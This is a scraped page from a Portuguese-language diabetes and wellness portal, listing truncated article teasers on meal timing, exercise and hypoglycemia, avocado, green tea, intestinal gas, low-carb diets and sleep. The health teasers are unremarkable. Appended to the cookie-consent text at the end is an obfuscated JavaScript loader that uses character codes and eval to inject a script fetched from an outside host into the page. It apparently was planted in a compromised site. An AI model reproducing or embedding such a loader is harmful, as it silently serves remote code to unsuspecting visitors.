Como Viver Melhor - Portal Diabetes & Você

Por que Devemos Comer de 3 em 3 horas?

Como Viver Melhor, Cuidados e Tratamentos 1

“Se privar de energia com qualidades por várias horas, fatalmente, lhe trará execesso de peso e gordura localizada e não emagrecimento” A falta de uma rotina alimentar faz com que a maioria das pessoas alimentam-se somente quando estão com fome ou mesmo quando se lembram de comer. A sensação para …

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Como começar a praticar atividade física com diabetes

Como Viver Melhor 3

Antes de tudo, um dos mais agudos cuidados na prática de atividade física principalmente para quem faz uso de insulina regular é o cuidado com a Hipoglicemia. Então antes de mais nada, lembre-se sempre de carregar uma fonte de açúcar durante sua atividade para evitar uma queda aguda na taxa …

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Abacate: Quem Come da Fruta se Alimenta Melhor

Como Viver Melhor, Notícias e Análises 1

Estudo mostra que pessoas que consomem abacate todos os dias parecem ingerir maiores quantidades de nutrientes, como fibras e vitaminas, apresentando melhores indicadores de saúde quando comparados com quem nunca come abacate. Pesquisa publica no periódico Nutrition Journal, neste mês de Fevereiro, mostra como pessoas que têm o hábito …

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Saiba Agora tudo sobre o Chá Verde!

Como Viver Melhor 0

Nos últimos anos, muitas dúvidas foram levantadas a respeito do efeito milagroso do chá verde sobre a redução de peso e sobre o desenvolvimento de doenças. Mas será que este chá é tão poderoso assim? Afinal, quais são os benefícios do seu consumo sobre o nosso organismo e sobre a …

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Conheça agora como controlar o excesso de gases intestinais

Como Viver Melhor 3

A formação de gases ocorre em todo organismo devido ás trocas gasosas realizadas metabolicamente. Este processo é natural e normal, onde formam-se os gases nitrogênio, gás carbônico, hidrogênio e metano tanto no estomago como o intestino. O volume de gás expelido é bastante variável, sendo habitual uma média de 11 a 13 flatos por dia. …

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Você Sabia Que Dieta Sem Carboidrato Pode Colocar o Coração em Risco?

Como Viver Melhor, Cuidados e Tratamentos, Notícias e Análises 0

Na busca do peso ideal e na luta contra os quilinhos em excesso, as mulheres recorrem às dietas que prometem a redução de peso e medidas em um curto período de tempo. Esse tipo de dieta, geralmente, envolve uma alimentação restritiva em algum nutriente e requer atenção aos prejuízos causados …

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Tenha mais disposição para atividade física com uma boa noite de sono!

Como Viver Melhor 0

Já parou para pensar que a falta de energia no dia a dia pode ser falta de uma boa noite de sono? Se você sente cansaço e pouca disposição para realizar tarefas da rotina e atividade física, saiba que uma das causas pode ser a falta de sono! A prática …

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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/674867468/t);
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